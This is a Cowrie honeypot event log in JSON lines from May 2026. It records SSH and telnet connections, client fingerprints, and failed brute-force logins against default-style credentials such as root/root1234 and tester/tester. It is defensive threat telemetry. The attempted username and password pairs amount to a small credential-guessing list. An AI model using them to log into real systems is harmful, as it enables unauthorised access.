{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:07.674171Z","src_ip":"193.151.144.93","session":"b984ff0979c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:07.844449Z","src_ip":"193.151.144.93","session":"b984ff0979c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:08.357769Z","src_ip":"193.151.144.93","session":"b984ff0979c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:09.531622Z","src_ip":"193.151.144.93","session":"b984ff0979c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40480,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed8e4aab352","protocol":"telnet","message":"New connection: 69.4.83.194:40480 (159.203.135.109:23) [session: 7ed8e4aab352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:12.861265Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44086,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc49e99e3d0","protocol":"ssh","message":"New connection: 193.151.144.93:44086 (10.17.0.5:22) [session: afc49e99e3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:13.077477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:13.082288Z","src_ip":"193.151.144.93","session":"afc49e99e3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:13.250764Z","src_ip":"193.151.144.93","session":"afc49e99e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41058,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea0aaaf86d4","protocol":"telnet","message":"New connection: 69.4.83.194:41058 (159.203.135.109:23) [session: eea0aaaf86d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:13.444089Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:13.822902Z","src_ip":"193.151.144.93","session":"afc49e99e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:14.990900Z","src_ip":"193.151.144.93","session":"afc49e99e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.09267044067383,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:18.104060Z","src_ip":"79.139.59.21","session":"52b50afa32da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44090,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfa78464d42","protocol":"ssh","message":"New connection: 193.151.144.93:44090 (10.17.0.5:22) [session: 0dfa78464d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:18.345789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:18.350703Z","src_ip":"193.151.144.93","session":"0dfa78464d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:18.519535Z","src_ip":"193.151.144.93","session":"0dfa78464d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:19.002061Z","src_ip":"193.151.144.93","session":"0dfa78464d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:20.167690Z","src_ip":"193.151.144.93","session":"0dfa78464d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04221320152283,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:23.717210Z","src_ip":"69.4.83.194","session":"c16aeeebc4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59504,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7323709e81","protocol":"ssh","message":"New connection: 193.151.144.93:59504 (10.17.0.5:22) [session: 2c7323709e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:24.150586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:24.155817Z","src_ip":"193.151.144.93","session":"2c7323709e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:24.325480Z","src_ip":"193.151.144.93","session":"2c7323709e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:24.833613Z","src_ip":"193.151.144.93","session":"2c7323709e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:26.007694Z","src_ip":"193.151.144.93","session":"2c7323709e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59508,"dst_ip":"10.17.0.5","dst_port":22,"session":"385089614470","protocol":"ssh","message":"New connection: 193.151.144.93:59508 (10.17.0.5:22) [session: 385089614470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:29.939811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:29.944980Z","src_ip":"193.151.144.93","session":"385089614470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:30.115030Z","src_ip":"193.151.144.93","session":"385089614470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:30.690068Z","src_ip":"193.151.144.93","session":"385089614470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:32.738527Z","src_ip":"193.151.144.93","session":"385089614470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57690,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf2dc481965","protocol":"ssh","message":"New connection: 193.151.144.93:57690 (10.17.0.5:22) [session: 7cf2dc481965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:35.613665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:35.618300Z","src_ip":"193.151.144.93","session":"7cf2dc481965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:35.785218Z","src_ip":"193.151.144.93","session":"7cf2dc481965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:36.327049Z","src_ip":"193.151.144.93","session":"7cf2dc481965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:37.925251Z","src_ip":"193.151.144.93","session":"7cf2dc481965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.94703412055969,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:38.516978Z","src_ip":"79.139.59.21","session":"6f716d3d5431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57964,"dst_ip":"10.17.0.5","dst_port":22,"session":"4455400ba00e","protocol":"ssh","message":"New connection: 193.151.144.93:57964 (10.17.0.5:22) [session: 4455400ba00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:41.331139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:41.335471Z","src_ip":"193.151.144.93","session":"4455400ba00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:41.503603Z","src_ip":"193.151.144.93","session":"4455400ba00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:43.553215Z","src_ip":"193.151.144.93","session":"4455400ba00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40970,"dst_ip":"159.203.135.109","dst_port":22,"session":"fad7525becc3","protocol":"ssh","message":"New connection: 103.77.242.62:40970 (159.203.135.109:22) [session: fad7525becc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:44.447930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:44.452899Z","src_ip":"103.77.242.62","session":"fad7525becc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:44.703444Z","src_ip":"103.77.242.62","session":"fad7525becc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:44.716845Z","src_ip":"193.151.144.93","session":"4455400ba00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhby","message":"login attempt [root/vfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:45.452572Z","src_ip":"103.77.242.62","session":"fad7525becc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:46.750081Z","src_ip":"103.77.242.62","session":"fad7525becc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57966,"dst_ip":"10.17.0.5","dst_port":22,"session":"704f7a2cda81","protocol":"ssh","message":"New connection: 193.151.144.93:57966 (10.17.0.5:22) [session: 704f7a2cda81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:46.998507Z"}
